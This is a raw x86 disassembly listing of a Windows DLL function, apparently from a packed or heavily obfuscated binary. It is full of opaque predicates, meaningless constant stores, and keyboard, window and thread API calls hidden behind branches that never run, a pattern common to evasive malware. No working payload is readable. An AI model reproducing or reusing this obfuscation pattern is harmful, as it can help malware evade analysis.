mov dword [ebp - 0x30], 0xfffffffc
jmp 0x10027b15
movdqa xmm0, xmmword [0x10009440]
lea eax, [ebp - 0x11d8]
push eax
lea eax, [ebp - 0x11e8]
push eax
lea ecx, [ebp - 0x141c]
movdqu xmmword [ebp - 0x11e8], xmm0
call fcn.1000a91c
lea ecx, [ebp - 0x28a]
mov esi, eax
call fcn.1000a5b5
push eax
push dword [esi + 4]
lea ecx, [ebp - 0xd20]
push dword [esi]
call fcn.1000a8e2
push ebx
lea ecx, [ebp - 0xd20]
mov dword [ebp - 4], 0x15
call fcn.1000a90d
mov esi, eax
lea ecx, [ebp - 0xd20]
xor eax, eax
inc eax
push eax
call fcn.1000a90d
mov ecx, dword [esi]
sub ecx, dword [eax]
or eax, 0xffffffff
mov dword [ebp - 0x18], ecx
lea ecx, [ebp - 0xd20]
mov dword [ebp - 4], eax
call fcn.1000a908
dec dword [ebp - 0x20]
jns 0x10027a4a
xor esi, esi
xor eax, eax
inc esi
or ecx, 0xffffffff
dec dword [ebp - 0x10]
jns 0x10027a34
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0xb
jg 0x10027c4f
or ecx, 0xffffffff
mov dword [ebp - 0x1c], 0xa6603fa8
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], esi
jge 0x10027b6b
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x2a8], ecx
xor eax, eax
inc dword [ebp - 0x18]
inc eax
cmp dword [ebp - 0x18], eax
jl 0x10027b51
xor esi, esi
xor eax, eax
inc esi
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0xd
jle 0x10027c42
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x30], ecx
xor ecx, ecx
mov eax, dword [ebp - 0x124]
mov eax, dword [ebp - 0x28]
cmp eax, 0x8b9a
setl cl
xor edx, edx
mov dword [ebp - 0x1c], ecx
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x120]
mov dword [ebp - 0x28], esi
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x2a8]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x124]
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2a8]
mov eax, dword [ebp - 0x2a8]
cmp ecx, eax
setle dl
imul eax, edx, 0xffff
sub eax, 0xfffd
neg eax
sbb eax, eax
inc eax
cmp eax, 0x986b
jg 0x10027c00
xor eax, eax
cmp dword [ebp - 0x28], eax
je 0x10027c02
xor esi, esi
lea edx, [eax + 1]
inc esi
jmp 0x10027c04
xor eax, eax
mov edx, eax
mov eax, dword [ebp - 0x10]
xor ecx, ecx
cmp edx, eax
sete cl
sub ecx, dword [ebp - 0x18]
neg ecx
sbb ecx, ecx
xor eax, eax
inc ecx
mov dword [ebp - 0x28], ecx
mov byte [ebp - 0x39], al
cmp byte [ebp - 0x39], al
je 0x10027c2e
push 0x1a5
call dword [sym.imp.USER32.dll_GetKeyState]
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0xd
push 0xffffffffffffffff
pop ecx
jg 0x10027b78
xor eax, eax
or ecx, ecx
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 0xb
jle 0x10027b3f
mov dword [ebp - 0x1c], 0xe17b844a
lea ecx, [ebp - 0xd38]
mov dword [ebp - 0x28], 0xfffffffd
or esi, 0xffffffff
mov dword [ebp - 0x48], esi
mov dword [ebp - 0x24], 0xa4c8
mov dword [ebp - 0x28], 0x38ca8c98
push ebx
call fcn.1000a8a0
push 6
mov dword [ebp - 4], 0x16
pop eax
mov dword [ebp - 0x30], eax
xor eax, eax
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], ebx
jge 0x10027cac
mov eax, dword [ebp - 0x40]
mov dword [ebp + eax*4 - 0x744], 0x4dd0
inc dword [ebp - 0x40]
cmp dword [ebp - 0x40], ebx
jl 0x10027c94
xor eax, eax
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], ebx
jge 0x10027ccc
mov eax, dword [ebp - 0x40]
mov dword [ebp + eax*4 - 0x1260], 0x39ee491
inc dword [ebp - 0x40]
cmp dword [ebp - 0x40], ebx
jl 0x10027cb4
xor eax, eax
mov dword [ebp - 0x40], eax
jmp 0x10027ce8
push dword [ebp - 0x40]
lea ecx, [ebp - 0xd38]
call fcn.1000a90d
mov dword [eax], 0x58fc5674
inc dword [ebp - 0x40]
cmp dword [ebp - 0x40], ebx
jl 0x10027cd1
inc dword [ebp - 0x48]
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x73c]
neg ecx
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x28]
sbb ecx, ecx
neg ecx
sub eax, ecx
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 0x125c]
mov eax, dword [ebp - 0x1c]
add eax, ecx
cmp eax, dword [ebp - 0x740]
jne 0x10027d20
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x744]
xor eax, eax
cmp dword [ebp - 0x24], eax
je 0x10027d37
cmp dword [ebp - 0x28], eax
je 0x10027d37
lea edx, [eax + 1]
jmp 0x10027d39
mov edx, eax
mov eax, dword [ebp - 0x744]
neg edx
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
setne cl
xor eax, eax
cmp ecx, esi
mov ecx, dword [ebp - 0x744]
setge al
xor ebx, ebx
cmp eax, 0xe91c
mov eax, dword [ebp - 0x744]
setle bl
xor edx, edx
cmp ecx, eax
lea ecx, [ebp - 0xd38]
setl dl
xor eax, eax
cmp edx, ebx
setge al
mov dword [ebp - 0x28], eax
xor eax, eax
mov esi, dword [ebp - 0x28]
inc eax
push eax
call fcn.1000a90d
or ebx, 0xffffffff
lea ecx, [ebp - 0xd38]
mov dword [eax], esi
mov dword [ebp - 0x30], esi
mov dword [ebp - 4], ebx
call fcn.1000a908
mov eax, dword [ebp - 0x34]
xor esi, esi
inc esi
cmp dword [ebp + eax*4 - 0x4e4], 0
jne 0x100280aa
push esi
lea ecx, [ebp - 0xf48]
call fcn.1000a8a0
xor eax, eax
mov dword [ebp - 4], 0x17
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], esi
jge 0x10027dfb
push dword [ebp - 0x18]
lea ecx, [ebp - 0xf48]
call fcn.1000a90d
mov dword [eax], 0x42eb
xor eax, eax
inc dword [ebp - 0x18]
inc eax
cmp dword [ebp - 0x18], eax
jl 0x10027dd7
xor esi, esi
xor eax, eax
inc esi
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], eax
jl 0x10027e1e
mov byte [ebp - 0x39], al
cmp byte [ebp - 0x39], 0
je 0x10027e19
push 0x4a2
call dword [sym.imp.USER32.dll_GetKeyboardLayout]
xor eax, eax
dec dword [ebp - 0x1c]
jns 0x10027e03
lea ecx, [ebp - 0xf48]
mov dword [ebp - 4], ebx
call fcn.1000a908
mov dword [ebp - 0x20], 0xdf99ff60
mov ebx, 0xf4e1c2e9
mov dword [ebp - 0xe8c], ebx
xor eax, eax
mov dword [ebp - 0xe88], ebx
mov dword [ebp - 0xe84], ebx
mov dword [ebp - 0xe80], ebx
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], esi
jge 0x10027e78
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x484], 0x2006887e
xor eax, eax
inc dword [ebp - 0x18]
inc eax
cmp dword [ebp - 0x18], eax
jl 0x10027e5a
xor esi, esi
xor eax, eax
inc esi
push 9
mov dword [ebp - 0x20], 0xffffffe3
pop ebx
jmp 0x10027ee5
mov dword [ebp - 0x30], 0x9737
mov dword [ebp - 0x48], 0x943af780
cmp dword [ebp - 0x20], eax
je 0x10027fb1
mov dword [ebp - 0x48], 0xfffffffa
mov eax, dword [ebp - 0x20]
xor eax, eax
mov dword [ebp - 0xe8c], eax
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x484], 0x507e6732
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x484]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x48], eax
xor eax, eax
mov byte [ebp - 0x39], al
cmp byte [ebp - 0x39], al
je 0x10027ee0
push eax
call dword [sym.imp.USER32.dll_GetKeyboardState]
xor eax, eax
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], ebx
jle 0x10027e84
mov byte [ebp - 0x11], al
or ecx, 0xffffffff
mov dword [ebp - 0x4c], 0xeb9ae77a
mov dword [ebp - 0x4c], ecx
mov dword [ebp - 0x4c], 0x9a130dfd
mov dword [ebp - 0x30], 8
mov dword [ebp - 0x48], 0xb839bf5b
mov dword [ebp - 0x4c], 0xddb2
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 4
jge 0x10027f37
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x1548], ebx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 4
jl 0x10027f22
xor eax, eax
mov byte [ebp - 0x39], al
cmp byte [ebp - 0x39], 0
je 0x10027f59
mov ebx, dword [sym.imp.USER32.dll_GetDesktopWindow]
call ebx
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call ebx
push eax
call dword [sym.imp.USER32.dll_ReleaseDC]
mov eax, dword [ebp - 0x30]
mov ecx, esi
sub ecx, eax
sub ecx, dword [ebp - 0x48]
neg ecx
sbb ecx, ecx
add ecx, 0x77a5e139
neg ecx
sbb ecx, ecx
inc ecx
mov dword [ebp - 0x24], ecx
cmp byte [ebp - 0x11], 0
je 0x10028096
push 2
pop ecx
mov dword [ebp - 0x18], ecx
xor eax, eax
mov dword [ebp - 0x20], 0x2baef6e2
push 3
pop ebx
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x30], 0x260d
mov dword [ebp - 0x1c], 0x1c1d99ea
mov dword [ebp - 0x48], esi
mov dword [ebp - 0x48], 0x5807c1ab
mov dword [ebp - 0x20], eax
jmp 0x10027fd7
mov dword [ebp - 0x30], 0x7f215a60
cmp dword [ebp - 0x30], eax
jne 0x10027eea
jmp 0x10027ee2
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x504], 0xc022
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], ecx
jl 0x10027fc6
mov eax, dword [ebp - 0x18]
xor edx, edx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x18]
neg ecx
cmp ecx, eax
mov eax, dword [ebp - 0x18]
push 0xfffffffffffffffe
setg dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x18]
setle cl
xor edx, edx
cmp ecx, eax
pop eax
setne dl
sub edx, eax
neg edx
sbb edx, edx
inc edx
sub edx, dword [ebp - 0x500]
mov eax, dword [ebp - 0x504]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
setle cl
mov dword [ebp - 0x20], ecx
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x28]
inc eax
jne 0x1002803e
cmp dword [ebp - 0x30], eax
je 0x10028040
mov eax, esi
mov dword [ebp - 0x1c], eax
xor eax, eax
cmp dword [ebp - 0x1c], eax
je 0x1002804c
mov eax, esi
cmp dword [ebp - 0x18], eax
jl 0x10028054
mov eax, dword [ebp - 0x28]
mov edx, dword [ebp - 0x500]
mov eax, dword [ebp - 0x18]
neg edx
sbb edx, edx
xor ecx, ecx
neg edx
cmp eax, edx
mov eax, dword [ebp - 0x504]
setge cl
imul edx, ecx, 0x91cb
xor ecx, ecx
add edx, 2
cmp edx, eax
setl cl
mov dword [ebp - 0x48], ecx
mov eax, dword [ebp - 0x500]
mov dword [ebp - 0x48], eax
xor eax, eax
push eax
push eax
push eax
push eax
call edi
jmp 0x10028099
push 3
pop ebx
inc dword [ebp - 0x34]
push 0
pop eax
cmp dword [ebp - 0x34], ebx
jle 0x100279ee
jmp 0x100280ad
push 3
pop ebx
xor eax, eax
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 0xb
je 0x100278b1
push 5
pop eax
mov dword [ebp - 0x4fc], eax
mov dword [ebp - 0x4f8], eax
mov dword [ebp - 0x4f4], eax
mov dword [ebp - 0x4f0], eax
xor eax, eax
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 4
jge 0x100280fe
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x142c], 0x67120dd9
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 4
jl 0x100280e5
xor eax, eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], ebx
jg 0x10028266
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], esi
jge 0x10028130
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x90], 0x8c66f5a9
xor eax, eax
inc dword [ebp - 0x18]
inc eax
cmp dword [ebp - 0x18], eax
jl 0x10028112
xor esi, esi
xor eax, eax
inc esi
mov dword [ebp - 0x90], ebx
cmp dword [ebp - 0x90], eax
jl 0x10028251
mov dword [ebp - 0x20], 0xfffffffd
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x30], esi
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], ebx
jg 0x10028245
mov dword [ebp - 0x18], 0x7b844a75
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], ebx
jg 0x10028215
mov dword [ebp - 0x30], esi
xor ebx, ebx
mov ecx, dword [ebp - 0x90]
mov eax, dword [ebp - 0x1424]
add ecx, 0x9ac5b813
cmp ecx, eax
mov eax, dword [ebp - 0x20]
setg bl
xor edx, edx
mov ecx, dword [ebp + eax*4 - 0x4fc]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp + eax*4 - 0x4fc]
cmp ecx, eax
mov eax, dword [ebp - 0x20]
setle dl
xor ecx, ecx
mov eax, dword [ebp + eax*4 - 0x4fc]
cmp ebx, eax
setle cl
xor eax, eax
cmp edx, ecx
setge al
add eax, 0x193f
mov dword [ebp - 0x30], eax
xor eax, eax
cmp dword [ebp - 0x18], eax
je 0x100281e2
mov eax, dword [ebp - 0x20]
cmp dword [ebp + eax*4 - 0x4fc], 0
je 0x100281e0
xor eax, eax
lea esi, [eax + 1]
jmp 0x100281e4
xor eax, eax
mov esi, eax
mov ecx, dword [ebp - 0x90]
xor edx, edx
mov eax, dword [ebp - 0x4f8]
cmp ecx, eax
push 3
setg dl
xor eax, eax
cmp edx, esi
pop ebx
setge al
neg eax
mov dword [ebp - 0x30], eax
inc dword [ebp - 0x18]
push 1
pop esi
cmp dword [ebp - 0x18], ebx
jle 0x1002816e
mov eax, dword [ebp - 0x4f8]
mov eax, dword [ebp - 0x4f8]
mov eax, dword [ebp - 0x90]
mov eax, dword [ebp - 0x90]
mov eax, dword [ebp - 0x90]
mov dword [ebp - 0x30], eax
inc dword [ebp - 0x20]
push 0
pop eax
cmp dword [ebp - 0x20], ebx
jle 0x1002815b
dec dword [ebp - 0x90]
jns 0x10028142
mov eax, dword [ebp - 0x90]
inc dword [ebp - 0x2c]
push 0
pop eax
cmp dword [ebp - 0x2c], ebx
jle 0x1002810a
mov dword [ebp - 0x2c], 0xffffffe5
jmp 0x100282a8
mov dword [ebp - 0x18], 0xf0790389
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], ebx
jg 0x100282a5
mov eax, dword [ebp - 0x18]
cmp dword [ebp + eax*4 - 0x4fc], 0
jne 0x100282a3
xor eax, eax
mov byte [ebp - 0x11], al
cmp byte [ebp - 0x11], al
je 0x1002829b
push eax
push eax
push eax
push eax
call edi
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jle 0x1002827e
xor eax, eax
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 0xb
je 0x1002826f
push 5
pop ecx
mov dword [ebp - 0x514], ecx
mov dword [ebp - 0x510], ecx
mov dword [ebp - 0x50c], ecx
mov dword [ebp - 0x508], ecx
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 4
jge 0x100282ee
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x1444], 0x67120dd9
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 4
jl 0x100282d5
xor eax, eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], ebx
jg 0x10028456
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], esi
jge 0x10028320
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x84], 0x8c66f5a9
xor eax, eax
inc dword [ebp - 0x18]
inc eax
cmp dword [ebp - 0x18], eax
jl 0x10028302
xor esi, esi
xor eax, eax
inc esi
mov dword [ebp - 0x84], ebx
cmp dword [ebp - 0x84], eax
jl 0x10028441
mov dword [ebp - 0x20], 0xfffffffd
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x30], esi
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], ebx
jg 0x10028435
mov dword [ebp - 0x18], 0x7b844a75
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], ebx
jg 0x10028405
mov dword [ebp - 0x30], esi
xor ebx, ebx
mov ecx, dword [ebp - 0x84]
mov eax, dword [ebp - 0x143c]
add ecx, 0x9ac5b813
cmp ecx, eax
mov eax, dword [ebp - 0x20]
setg bl
xor edx, edx
mov ecx, dword [ebp + eax*4 - 0x514]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp + eax*4 - 0x514]
cmp ecx, eax
mov eax, dword [ebp - 0x20]
setle dl
xor ecx, ecx
mov eax, dword [ebp + eax*4 - 0x514]
cmp ebx, eax
setle cl
xor eax, eax
cmp edx, ecx
setge al
add eax, 0x193f
mov dword [ebp - 0x30], eax
xor eax, eax
cmp dword [ebp - 0x18], eax
je 0x100283d2
mov eax, dword [ebp - 0x20]
cmp dword [ebp + eax*4 - 0x514], 0
je 0x100283d0
xor eax, eax
lea esi, [eax + 1]
jmp 0x100283d4
xor eax, eax
mov esi, eax
mov ecx, dword [ebp - 0x84]
xor edx, edx
mov eax, dword [ebp - 0x510]
cmp ecx, eax
push 3
setg dl
xor eax, eax
cmp edx, esi
pop ebx
setge al
neg eax
mov dword [ebp - 0x30], eax
inc dword [ebp - 0x18]
push 1
pop esi
cmp dword [ebp - 0x18], ebx
jle 0x1002835e
mov eax, dword [ebp - 0x510]
mov eax, dword [ebp - 0x510]
mov eax, dword [ebp - 0x84]
mov eax, dword [ebp - 0x84]
mov eax, dword [ebp - 0x84]
mov dword [ebp - 0x30], eax
inc dword [ebp - 0x20]
push 0
pop eax
cmp dword [ebp - 0x20], ebx
jle 0x1002834b
dec dword [ebp - 0x84]
jns 0x10028332
mov eax, dword [ebp - 0x84]
inc dword [ebp - 0x2c]
push 0
pop eax
cmp dword [ebp - 0x2c], ebx
jle 0x100282fa
mov dword [ebp - 0x2c], 0xffffffe5
jmp 0x10028498
mov dword [ebp - 0x18], 0xf0790389
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], ebx
jg 0x10028495
mov eax, dword [ebp - 0x18]
cmp dword [ebp + eax*4 - 0x514], 0
jne 0x10028493
xor eax, eax
mov byte [ebp - 0x11], al
cmp byte [ebp - 0x11], al
je 0x1002848b
push eax
push eax
push eax
push eax
call edi
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jle 0x1002846e
xor eax, eax
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 0xb
je 0x1002845f
push 4
lea ecx, [ebp - 0xadc]
call fcn.1000a8a0
mov dword [ebp - 4], 0x18
xor eax, eax
mov dword [ebp - 0x18], esi
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 4
jge 0x100284df
push dword [ebp - 0x18]
lea ecx, [ebp - 0xadc]
call fcn.1000a90d
mov dword [eax], 7
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 4
jl 0x100284c0
xor eax, eax
mov edi, dword [sym.imp.KERNEL32.dll_LockResource]
mov dword [ebp - 0x18], ebx
cmp dword [ebp - 0x18], eax
jl 0x100285a9
jmp 0x100284f5
xor eax, eax
mov dword [ebp - 0x20], eax
jmp 0x1002850b
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x854], 0x7928fbc7
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 2
jl 0x100284fa
push esi
lea ecx, [ebp - 0xadc]
call fcn.1000a90d
mov eax, dword [ebp - 0x850]
lea ecx, [ebp - 0xadc]
mov eax, dword [ebp - 0x18]
xor eax, eax
push eax
call fcn.1000a90d
mov edx, dword [ebp - 0x18]
mov esi, eax
mov ecx, dword [ebp - 0x850]
xor eax, eax
cmp edx, ecx
mov edx, 0xffff9e41
setne al
xor ecx, ecx
cmp eax, dword [esi]
mov eax, dword [ebp - 0x18]
setge cl
xor ebx, ebx
sub edx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x850]
setne bl
xor ecx, ecx
cmp eax, 0x6efba1a4
setle cl
xor eax, eax
mov byte [ebp - 0x11], al
cmp ecx, ebx
jne 0x1002858f
xor esi, esi
inc esi
cmp byte [ebp - 0x11], al
je 0x1002859d
push esi
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_EnableWindow]
jmp 0x1002859d
cmp byte [ebp - 0x11], al
je 0x10028597
push eax
call edi
mov eax, dword [ebp - 0x18]
xor esi, esi
inc esi
dec dword [ebp - 0x18]
jns 0x100284f3
push 3
pop ebx
or eax, 0xffffffff
lea ecx, [ebp - 0xadc]
mov dword [ebp - 4], eax
call fcn.1000a908
push 4
lea ecx, [ebp - 0xbcc]
call fcn.1000a8a0
mov dword [ebp - 4], 0x19
xor eax, eax
mov dword [ebp - 0x18], esi
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 4
jge 0x100285fb
push dword [ebp - 0x18]
lea ecx, [ebp - 0xbcc]
call fcn.1000a90d
mov dword [eax], 7
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 4
jl 0x100285dc
xor eax, eax
mov dword [ebp - 0x18], ebx
cmp dword [ebp - 0x18], eax
jl 0x100286bc
jmp 0x1002860b
xor eax, eax
mov dword [ebp - 0x20], eax
jmp 0x10028621
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x9b4], 0x7928fbc7
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 2
jl 0x10028610
push esi
lea ecx, [ebp - 0xbcc]
call fcn.1000a90d
mov eax, dword [ebp - 0x9b0]
lea ecx, [ebp - 0xbcc]
mov eax, dword [ebp - 0x18]
xor eax, eax
push eax
call fcn.1000a90d
mov edx, dword [ebp - 0x18]
mov esi, eax
mov ecx, dword [ebp - 0x9b0]
xor eax, eax
cmp edx, ecx
mov edx, 0xffff9e41
setne al
xor ecx, ecx
cmp eax, dword [esi]
mov eax, dword [ebp - 0x18]
setge cl
xor ebx, ebx
sub edx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x9b0]
setne bl
xor ecx, ecx
cmp eax, 0x6efba1a4
setle cl
xor eax, eax
mov byte [ebp - 0x11], al
cmp ecx, ebx
jne 0x100286a5
xor esi, esi
inc esi
cmp byte [ebp - 0x11], al
je 0x100286b3
push esi
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_EnableWindow]
jmp 0x100286b3
cmp byte [ebp - 0x11], al
je 0x100286ad
push eax
call edi
mov eax, dword [ebp - 0x18]
xor esi, esi
inc esi
dec dword [ebp - 0x18]
jns 0x10028609
or eax, 0xffffffff
lea ecx, [ebp - 0xbcc]
mov dword [ebp - 4], eax
call fcn.1000a908
mov dword [ebp - 0x18], 0x3629aa8
xor eax, eax
mov dword [ebp - 0x1c], 0x8900fdb6
mov dword [ebp - 0x20], 0x33563700
mov dword [ebp - 0x30], 0x5ee56e31
mov byte [ebp - 0x11], al
cmp byte [ebp - 0x11], al
je 0x100286fa
push eax
call dword [sym.imp.KERNEL32.dll_SuspendThread]
mov eax, dword [ebp - 0x18]
xor edx, edx
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x18]
cmp eax, ecx
mov eax, dword [ebp - 0x1c]
setg dl
xor ebx, ebx
cmp edx, eax
setl bl
xor ecx, ecx
add ebx, dword [ebp - 0x1c]
imul ebx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x18]
cmp eax, ebx
mov eax, dword [ebp - 0x20]
setge cl
xor edx, edx
cmp ecx, 0xa2d3
setl dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x18]
setne cl
xor edx, edx
cmp eax, ecx
mov eax, dword [ebp - 0x20]
setle dl
xor ebx, ebx
cmp edx, eax
mov eax, dword [ebp - 0x18]
setl bl
xor ecx, ecx
cmp ebx, eax
setle cl
xor eax, eax
cmp ecx, dword [ebp - 0x18]
jle 0x10028769
cmp dword [ebp - 0x20], eax
je 0x10028769
lea ecx, [eax + 1]
jmp 0x1002876b
mov ecx, eax
mov eax, dword [ebp - 0x18]
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x20]
push 4
setne dl
xor ecx, ecx
cmp edx, eax
setl cl
mov dword [ebp - 0x30], ecx
lea ecx, [ebp - 0xaf4]
call fcn.1000a8a0
xor ebx, ebx
mov dword [ebp - 4], 0x1a
inc ebx
xor eax, eax
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 4
jge 0x100287c6
push dword [ebp - 0x18]
lea ecx, [ebp - 0xaf4]
call fcn.1000a90d
mov dword [eax], 7
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 4
jl 0x100287a7
xor eax, eax
mov dword [ebp - 0x18], 3
cmp dword [ebp - 0x18], eax
jl 0x1002888b
jmp 0x100287da
xor eax, eax
mov dword [ebp - 0x20], eax
jmp 0x100287f0
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x860], 0x7928fbc7
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 2
jl 0x100287df
push ebx
lea ecx, [ebp - 0xaf4]
call fcn.1000a90d
mov eax, dword [ebp - 0x85c]
lea ecx, [ebp - 0xaf4]
mov eax, dword [ebp - 0x18]
xor eax, eax
push eax
call fcn.1000a90d
mov edx, dword [ebp - 0x18]
mov esi, eax
mov ecx, dword [ebp - 0x85c]
xor eax, eax
cmp edx, ecx
mov edx, 0xffff9e41
setne al
xor ecx, ecx
cmp eax, dword [esi]
mov eax, dword [ebp - 0x18]
setge cl
xor ebx, ebx
sub edx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x85c]
setne bl
xor ecx, ecx
cmp eax, 0x6efba1a4
setle cl
xor eax, eax
mov byte [ebp - 0x11], al
cmp ecx, ebx
jne 0x10028874
xor ebx, ebx
inc ebx
cmp byte [ebp - 0x11], al
je 0x10028882
push ebx
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_EnableWindow]
jmp 0x10028882
cmp byte [ebp - 0x11], al
je 0x1002887c
push eax
call edi
mov eax, dword [ebp - 0x18]
xor ebx, ebx
inc ebx
dec dword [ebp - 0x18]
jns 0x100287d8
or eax, 0xffffffff
lea ecx, [ebp - 0xaf4]
mov dword [ebp - 4], eax
call fcn.1000a908
mov dword [ebp - 0x2c], 0x5683c8fc
xor edx, edx
mov dword [ebp - 0x20], 0x4ee7d21
mov esi, 0xfad54077
mov dword [ebp - 0x18], 0xfffffffc
mov dword [ebp - 0x40], 0xfffd
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x2c]
sub eax, 0x68e79848
cmp eax, ebx
setge dl
xor ecx, ecx
add edx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x20]
cmp eax, 0xfffffff6
setne cl
cmp ecx, edx
jle 0x10028a44
push 3
lea ecx, [ebp - 0x5c0]
call fcn.1000a8a0
mov dword [ebp - 4], 0x1b
xor eax, eax
mov dword [ebp - 0x10], 0xd86bdae8
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 4
jge 0x1002892d
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x7d0], 0xc8b166c1
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 4
jl 0x10028914
xor eax, eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 3
jge 0x10028952
push dword [ebp - 0x10]
lea ecx, [ebp - 0x5c0]
call fcn.1000a90d
and dword [eax], 0
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 3
jl 0x10028936
xor eax, eax
cmp dword [ebp - 0x18], eax
jne 0x100289a7
or eax, 0xffffffff
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
cmp eax, dword [ebp - 0x7c4]
jne 0x10028974
push ebx
lea ecx, [ebp - 0x5c0]
call fcn.1000a90d
mov eax, dword [ebp - 0x2c]
lea ecx, [ebp - 0x5c0]
mov eax, dword [ebp - 0x7c4]
push ebx
call fcn.1000a90d
push ebx
lea ecx, [ebp - 0x5c0]
call fcn.1000a90d
cmp dword [eax], 0
je 0x100289a7
push 2
lea ecx, [ebp - 0x5c0]
